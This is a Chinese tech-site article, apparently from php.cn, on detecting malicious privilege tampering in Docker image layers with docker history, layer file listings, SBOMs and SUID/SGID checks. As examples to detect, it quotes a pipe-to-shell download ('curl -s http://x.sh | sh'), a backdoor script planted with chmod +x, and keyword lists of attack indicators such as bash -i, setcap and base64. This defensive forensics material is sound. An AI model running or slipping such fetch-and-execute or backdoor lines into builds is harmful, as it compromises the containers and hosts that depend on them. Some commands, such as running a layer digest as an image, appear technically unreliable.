如何通过分析 Docker 的文件变更历史驱动查看只读镜像层中被恶意篡改的特权指纹

酷明酱_7523

酷明酱_7523

2026-07-09

860人浏览

原创

关键在于将指令行为、文件变更、权限痕迹三者对齐,重点核查created by中的高危模式、size异常层及comment为空的可疑层,并通过layer digest提取实际文件变更、sbom比对和进入该层实测suid/sgid等权限指纹来确认恶意篡改。

如何通过分析 docker 的文件变更历史驱动查看只读镜像层中被恶意篡改的特权指纹

直接看 docker history 只能知道“谁写了什么命令”,但无法确认“实际改了哪些文件”。要发现只读镜像层中被恶意篡改的特权指纹,关键在于把指令行为、文件变更、权限痕迹三者对齐——不是找“有没有 chmod”,而是查“哪一层、在哪个路径、以什么方式,偷偷设置了 SUID/SGID、写入了隐藏可执行体、或修改了关键系统文件”。

看懂 docker history 的真实含义

docker history --no-trunc <image></image> 输出的每一行,本质是某次构建指令(如 RUN 或 COPY)生成的只读层。但攻击者常在看似正常的指令里夹带私货:

  • 一行 RUN apt-get install -y curl && curl -s http://x.sh | sh,history 只显示整条命令,不拆解它到底下载并执行了什么
  • COPY . /app 后紧跟 RUN echo '#!/bin/sh' > /app/.init && chmod +x /app/.init,history 会把这两步合并成一个层,掩盖后门脚本的植入动作
  • RUN pip install requests 这类无害指令,若 SIZE 异常大(比如 120MB),很可能顺手解压了恶意载荷

重点关注三列:

  • CREATED BY:搜 sh -c、wget、curl、base64、/tmp/、/dev/shm/、chmod u+s、setcap、chown root:
  • SIZE:几 KB 的层却执行网络请求 → 高风险;某层 SIZE 比前一层突增 50MB+,但指令只是 COPY → 检查是否混入二进制或密钥
  • COMMENT:为空或写着 "",说明该层没对应 Dockerfile 记录 → 极大概率是构建时注入或中间镜像污染

提取并比对每层的实际文件指纹

光看 history 不够,必须验证“这一层到底改了什么文件”:

Dolphindb Docker
Dolphindb Docker

自动化 DolphinDB Docker 部署,支持自动架构检测(ARM64/x86_64),智能内存分配(50% 规则)以及完整数据持久化。

下载
  • 用 docker image inspect <image></image> 获取 RootFS.Layers 列表(按顺序排列的 layer digest)
  • 对每个 digest,执行:
    docker save <image> | tar -Oxf - "*/$DIGEST.tar.gz" | gunzip | tar -t | sort > layer-files-$i.txt</image>

    得到该层新增/修改的所有路径

  • 重点筛查:
    • /usr/bin/ 或 /usr/local/bin/ 下非标准名称的可执行文件(如 .x、_agent、runsvc)
    • /etc/passwd、/etc/shadow、/etc/sudoers 是否被修改(哪怕只加了一行)
    • /proc/self/fd/、/dev/shm/、/tmp/ 目录下出现可执行文件或 .so 文件
    • 所有 SUID/SGID 文件:find / -perm -4000 -o -perm -2000 2>/dev/null(需进入该层验证)

结合 SBOM 和权限指纹交叉定位

恶意篡改往往伴随“组件与行为错位”:

  • 用 syft <image></image> 或 docker scout sbom <image></image> 输出软件物料清单,记录每个二进制/库的路径和哈希
  • 将 SBOM 中的路径(如 /app/lib/malware-loader.so)反查属于哪一层 digest
  • 若该层在 docker history 中只写着 RUN pip install flask,但 SBOM 却出现未声明的 .so 文件 → 明确异常
  • 特别关注高危权限指纹:
    • 文件哈希匹配已知恶意样本库(如 VirusTotal YARA 规则)
    • 二进制熵值 > 7.0 → 暗示加壳或混淆
    • 脚本文件含 exec -a、bash -i、eval $(...)、硬编码 C2 域名或 IP

快速验证可疑层是否真能提权

不能只信指令,要实测该层是否具备执行上下文:

  • 从 docker image inspect 中找到目标层 digest(如 sha256:abc123...)
  • 运行临时容器,挂载该层为根:
    docker run --rm -it --entrypoint sh <image>@<digest></digest></image>
  • 进入后立即检查:
    • ls -l /usr/bin/ | grep 's\|S'(找 SUID/SGID)
    • cat /etc/passwd | tail -5(看是否有新增 root 用户)
    • strings /usr/bin/curl | grep -i 'evil'(查硬编码域名)
    • stat /tmp/.backdoor | grep Uid(确认是否属 root 且可执行)

不复杂但容易忽略

相关文章

驱动精灵
驱动精灵

驱动精灵基于驱动之家十余年的专业数据积累,驱动支持度高,已经为数亿用户解决了各种电脑驱动问题、系统故障,是目前有效的驱动软件,有需要的小伙伴快来保存下载体验吧!

下载

相关标签:

docker

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

相关专题

更多
k8s和docker区别
k8s和docker区别

k8s和docker区别有抽象层次不同、管理范围不同、功能不同、应用程序生命周期管理不同、缩放能力不同、高可用性等等区别。本专题为大家提供k8s和docker区别相关的各种文章、以及下载和课程。

2023.07.24

685

4

docker进入容器的方法有哪些
docker进入容器的方法有哪些

docker进入容器的方法:1. Docker exec;2. Docker attach;3. Docker run --interactive --tty;4. Docker ps -a;5. 使用 Docker Compose。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.04.08

4879

6

docker容器无法访问外部网络怎么办
docker容器无法访问外部网络怎么办

docker 容器无法访问外部网络的原因和解决方法:配置 nat 端口映射以将容器端口映射到主机端口。根据主机兼容性选择正确的网络驱动(如 host 或 overlay)。允许容器端口通过主机的防火墙。配置容器的正确 dns 服务器。选择正确的容器网络模式。排除主机网络问题,如防火墙或连接问题。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.04.08

5817

6

docker镜像有什么用
docker镜像有什么用

docker 镜像是预构建的软件组件,用途广泛,包括:应用程序部署:简化部署,提高移植性。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.04.08

2193

7

Docker容器化部署与DevOps实践
Docker容器化部署与DevOps实践

本专题面向后端与运维开发者,系统讲解 Docker 容器化技术在实际项目中的应用。内容涵盖 Docker 镜像构建、容器运行机制、Docker Compose 多服务编排,以及在 DevOps 流程中的持续集成与持续部署实践。通过真实场景演示,帮助开发者实现应用的快速部署、环境一致性与运维自动化。

2026.02.11

219

16

Docker 容器部署
Docker 容器部署

本专题整合了Docker容器部署相关内容,阅读专题下面的文章了解更多详细操作教程。

2026.03.31

431

14

Java容器化部署与Docker实践教程合集
Java容器化部署与Docker实践教程合集

聚焦 Java 应用的容器化与云原生部署,讲解 Dockerfile 编写规范与 Java 应用镜像构建、多阶段构建(Multi-stage Build)减小镜像体积、Jib / Buildpacks 免 Dockerfile 镜像构建方案、JVM 容器感知参数(-XX:MaxRAMPercentage)配置、Docker Compose 编排多服务(应用 + MySQL + Redis)、容器健康检查与资源限制、Kubernetes

2026.05.11

380

26

Go Docker与容器化部署教程合集
Go Docker与容器化部署教程合集

聚焦 Go 应用的容器化部署优势与实践,讲解 Go 静态编译特性(CGO_ENABLED=0)与 scratch / distroless 极小基础镜像构建、多阶段 Dockerfile 编写规范、交叉编译生成目标平台二进制、镜像安全扫描(Trivy)与漏洞修复、Docker Compose 本地编排开发环境、Kubernetes Deployment / Service / ConfigMap 部署 Go 服务、健康检查(Livene

2026.05.15

285

24

Hyperf 项目部署运维与性能调优手册
Hyperf 项目部署运维与性能调优手册

聚焦 Hyperf 在生产环境的落地,包含 Docker 高效打包、Swoole 配置优化、常见的内存溢出(OOM)问题排查方法以及热更新方案。

2026.05.19

405

15

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
phpMyAdmin 安装文档
phpMyAdmin 安装文档

共0课时 | 0人学习

Docker 官方文档
Docker 官方文档

共0课时 | 0人学习

宝塔 Docker 模块使用手册
宝塔 Docker 模块使用手册

共0课时 | 0人学习